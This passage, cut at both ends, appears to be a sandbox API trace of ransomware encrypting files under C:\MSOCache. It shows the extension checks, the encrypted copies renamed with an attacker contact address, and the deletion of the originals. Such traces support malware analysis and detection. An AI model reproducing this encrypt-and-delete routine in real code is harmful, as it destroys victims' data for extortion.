lpBuffer=0x3fd40a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd40a8*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0214.762] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3fd40a8 | out: hHeap=0x4f0000) returned 1 [0214.762] CloseHandle (hObject=0x164) returned 1 [0214.762] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0214.762] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0214.762] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0214.762] lstrlenW (lpString=".doc") returned 4 [0214.762] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0214.762] lstrlenW (lpString=".docx") returned 5 [0214.762] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0214.763] lstrlenW (lpString=".pdf") returned 4 [0214.763] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0214.763] lstrlenW (lpString=".xls") returned 4 [0214.763] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0214.763] lstrlenW (lpString=".xlsx") returned 5 [0214.763] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0214.763] lstrlenW (lpString=".ppt") returned 4 [0214.763] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0214.763] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0214.763] lstrlenW (lpString=".zip") returned 4 [0214.763] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0214.763] lstrlenW (lpString=".rar") returned 4 [0214.763] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0214.763] lstrlenW (lpString=".bz2") returned 4 [0214.763] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0214.763] lstrlenW (lpString=".7z") returned 3 [0214.763] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0214.763] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0214.763] lstrlenW (lpString=".dbf") returned 4 [0214.763] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0214.763] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0214.763] lstrlenW (lpString=".1cd") returned 4 [0214.763] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0214.763] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0214.763] lstrlenW (lpString=".jpg") returned 4 [0214.763] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0214.763] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0214.764] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0214.764] lstrlenW (lpString=".doc") returned 4 [0214.764] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0214.764] lstrlenW (lpString=".docx") returned 5 [0214.764] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0214.764] lstrlenW (lpString=".pdf") returned 4 [0214.764] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0214.764] lstrlenW (lpString=".xls") returned 4 [0214.764] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0214.764] lstrlenW (lpString=".xlsx") returned 5 [0214.764] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0214.764] lstrlenW (lpString=".ppt") returned 4 [0214.764] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0214.764] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0214.764] lstrlenW (lpString=".zip") returned 4 [0214.764] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0214.764] lstrlenW (lpString=".rar") returned 4 [0214.764] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0214.764] lstrlenW (lpString=".bz2") returned 4 [0214.764] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0214.764] lstrlenW (lpString=".7z") returned 3 [0214.764] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0214.764] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0214.764] lstrlenW (lpString=".dbf") returned 4 [0214.764] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0214.764] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0214.765] lstrlenW (lpString=".1cd") returned 4 [0214.765] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0214.765] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0214.765] lstrlenW (lpString=".jpg") returned 4 [0214.765] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0214.765] lstrcmpiW (lpString1=".dll", lpString2=".aa1") returned 1 [0214.765] lstrlenW (lpString="dwdcw20.dll") returned 11 [0214.765] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0214.908] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=526176) returned 1 [0214.908] CloseHandle (hObject=0x17c) returned 1 [0214.908] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll")) returned 0x2020 [0214.908] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0214.908] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0214.908] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.908] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.908] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0214.909] GetLastError () returned 0x0 [0214.909] ReadFile (in: hFile=0x17c, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x80760, lpOverlapped=0x0) returned 1 [0217.444] WriteFile (in: hFile=0x1fc, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0x80770, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0x80770, lpOverlapped=0x0) returned 1 [0217.598] ReadFile (in: hFile=0x17c, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.598] WriteFile (in: hFile=0x1fc, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xea, lpOverlapped=0x0) returned 1 [0217.598] SetEndOfFile (hFile=0x1fc) returned 1 [0217.598] CloseHandle (hObject=0x1fc) returned 1 [0217.598] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.598] SetEndOfFile (hFile=0x17c) returned 1 [0217.604] CloseHandle (hObject=0x17c) returned 1 [0217.604] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0217.604] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll")) returned 1 [0217.604] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0217.604] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0217.604] lstrlenW (lpString=".doc") returned 4 [0217.604] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0217.604] lstrlenW (lpString=".docx") returned 5 [0217.604] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0217.605] lstrlenW (lpString=".pdf") returned 4 [0217.605] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0217.605] lstrlenW (lpString=".xls") returned 4 [0217.605] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0217.605] lstrlenW (lpString=".xlsx") returned 5 [0217.605] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0217.605] lstrlenW (lpString=".ppt") returned 4 [0217.605] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0217.605] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0217.605] lstrlenW (lpString=".zip") returned 4 [0217.605] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0217.605] lstrlenW (lpString=".rar") returned 4 [0217.605] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0217.605] lstrlenW (lpString=".bz2") returned 4 [0217.605] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0217.605] lstrlenW (lpString=".7z") returned 3 [0217.605] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0217.605] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0217.605] lstrlenW (lpString=".dbf") returned 4 [0217.605] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0217.605] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0217.605] lstrlenW (lpString=".1cd") returned 4 [0217.605] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0217.605] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0217.605] lstrlenW (lpString=".jpg") returned 4 [0217.605] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0217.605] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0217.605] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0217.606] lstrlenW (lpString=".doc") returned 4 [0217.606] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0217.606] lstrlenW (lpString=".docx") returned 5 [0217.606] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0217.606] lstrlenW (lpString=".pdf") returned 4 [0217.606] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0217.606] lstrlenW (lpString=".xls") returned 4 [0217.606] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0217.606] lstrlenW (lpString=".xlsx") returned 5 [0217.606] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0217.606] lstrlenW (lpString=".ppt") returned 4 [0217.606] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0217.606] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0217.606] lstrlenW (lpString=".zip") returned 4 [0217.606] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0217.606] lstrlenW (lpString=".rar") returned 4 [0217.606] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0217.606] lstrlenW (lpString=".bz2") returned 4 [0217.606] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0217.606] lstrlenW (lpString=".7z") returned 3 [0217.606] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0217.606] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0217.606] lstrlenW (lpString=".dbf") returned 4 [0217.606] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0217.606] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0217.606] lstrlenW (lpString=".1cd") returned 4 [0217.606] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0217.606] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0217.606] lstrlenW (lpString=".jpg") returned 4 [0217.607] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0217.607] lstrcmpiW (lpString1=".dll", lpString2=".aa1") returned 1 [0217.607] lstrlenW (lpString="osetupui.dll") returned 12 [0217.607] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0217.607] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=191872) returned 1 [0217.607] CloseHandle (hObject=0x17c) returned 1 [0217.607] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll")) returned 0x2020 [0217.607] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0217.607] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0217.608] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.608] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.608] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0217.608] GetLastError () returned 0x0 [0217.608] ReadFile (in: hFile=0x17c, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x2ed80, lpOverlapped=0x0) returned 1 [0218.458] WriteFile (in: hFile=0x1fc, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0x2ed90, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0x2ed90, lpOverlapped=0x0) returned 1 [0218.462] ReadFile (in: hFile=0x17c, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.462] WriteFile (in: hFile=0x1fc, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.462] SetEndOfFile (hFile=0x1fc) returned 1 [0218.462] CloseHandle (hObject=0x1fc) returned 1 [0218.462] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.462] SetEndOfFile (hFile=0x17c) returned 1 [0218.464] CloseHandle (hObject=0x17c) returned 1 [0218.464] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0218.465] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll")) returned 1 [0218.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0218.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0218.504] lstrlenW (lpString=".doc") returned 4 [0218.504] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0218.504] lstrlenW (lpString=".docx") returned 5 [0218.504] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0218.504] lstrlenW (lpString=".pdf") returned 4 [0218.504] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0218.504] lstrlenW (lpString=".xls") returned 4 [0218.504] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0218.504] lstrlenW (lpString=".xlsx") returned 5 [0218.504] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0218.504] lstrlenW (lpString=".ppt") returned 4 [0218.504] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0218.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0218.505] lstrlenW (lpString=".zip") returned 4 [0218.505] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0218.505] lstrlenW (lpString=".rar") returned 4 [0218.505] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0218.505] lstrlenW (lpString=".bz2") returned 4 [0218.505] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0218.505] lstrlenW (lpString=".7z") returned 3 [0218.505] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0218.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0218.505] lstrlenW (lpString=".dbf") returned 4 [0218.505] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0218.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0218.505] lstrlenW (lpString=".1cd") returned 4 [0218.505] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0218.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0218.505] lstrlenW (lpString=".jpg") returned 4 [0218.505] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0218.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0218.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0218.505] lstrlenW (lpString=".doc") returned 4 [0218.505] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0218.505] lstrlenW (lpString=".docx") returned 5 [0218.505] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0218.505] lstrlenW (lpString=".pdf") returned 4 [0218.505] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0218.505] lstrlenW (lpString=".xls") returned 4 [0218.505] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0218.505] lstrlenW (lpString=".xlsx") returned 5 [0218.505] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0218.505] lstrlenW (lpString=".ppt") returned 4 [0218.505] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0218.506] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0218.506] lstrlenW (lpString=".zip") returned 4 [0218.506] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0218.506] lstrlenW (lpString=".rar") returned 4 [0218.506] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0218.506] lstrlenW (lpString=".bz2") returned 4 [0218.506] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0218.506] lstrlenW (lpString=".7z") returned 3 [0218.506] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0218.506] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0218.506] lstrlenW (lpString=".dbf") returned 4 [0218.506] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0218.506] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0218.506] lstrlenW (lpString=".1cd") returned 4 [0218.506] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0218.506] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0218.506] lstrlenW (lpString=".jpg") returned 4 [0218.506] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0218.506] lstrcmpiW (lpString1=".MST", lpString2=".aa1") returned 1 [0218.506] lstrlenW (lpString="ShellUI.MST") returned 11 [0218.506] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0218.507] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=3584) returned 1 [0218.507] CloseHandle (hObject=0x1f4) returned 1 [0218.507] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst")) returned 0x2020 [0218.507] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0218.507] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0218.507] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.507] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.507] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0218.507] GetLastError () returned 0x0 [0218.508] ReadFile (in: hFile=0x1f4, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0xe00, lpOverlapped=0x0) returned 1 [0218.509] WriteFile (in: hFile=0x17c, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xe10, lpOverlapped=0x0) returned 1 [0218.510] ReadFile (in: hFile=0x1f4, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.510] WriteFile (in: hFile=0x17c, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, 